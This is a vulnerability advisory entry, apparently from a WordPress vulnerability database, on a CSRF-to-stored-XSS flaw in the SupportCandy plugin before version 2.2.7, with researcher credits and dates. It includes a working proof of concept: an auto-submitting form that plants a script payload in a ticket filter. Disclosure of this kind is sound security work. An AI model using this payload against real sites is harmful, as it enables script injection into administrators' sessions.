WordPress Plugin Vulnerabilities
SupportCandy < 2.2.7 - CSRF to Cross-Site Scripting
Description
The plugin does not have CSRF check in the wpsc_tickets AJAX action, nor has any sanitisation or escaping in some of the filter fields which could allow attackers to make a logged in user having access to the ticket lists dashboard set an arbitrary filter (stored in their cookies) with an XSS payload in it.
Proof of Concept
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST" id="csrf"> <input type="hidden" name="action" value="wpsc_tickets"> <input type="hidden" name="setting_action" value="set_custom_filter"> <input type="hidden" name="page_no" value="1"> <input type="hidden" name="custom_filter[s]" value=""><script>alert(/XSS/)</script>"> </form><script>csrf.submit()</script> Go to https://example.com/wp-admin/admin.php?page=wpsc-tickets to trigger the XSS
Affects Plugins
References
CVE
Classification
Type
CSRF
OWASP top 10
CWE
CVSS
Miscellaneous
Original Researcher
apple502j
Submitter
apple502j
Verified
Yes
WPVDB ID
Timeline
Publicly Published
2022-01-05 (about 2 years ago)
Added
2022-01-05 (about 2 years ago)
Last Updated
2022-04-08 (about 2 years ago)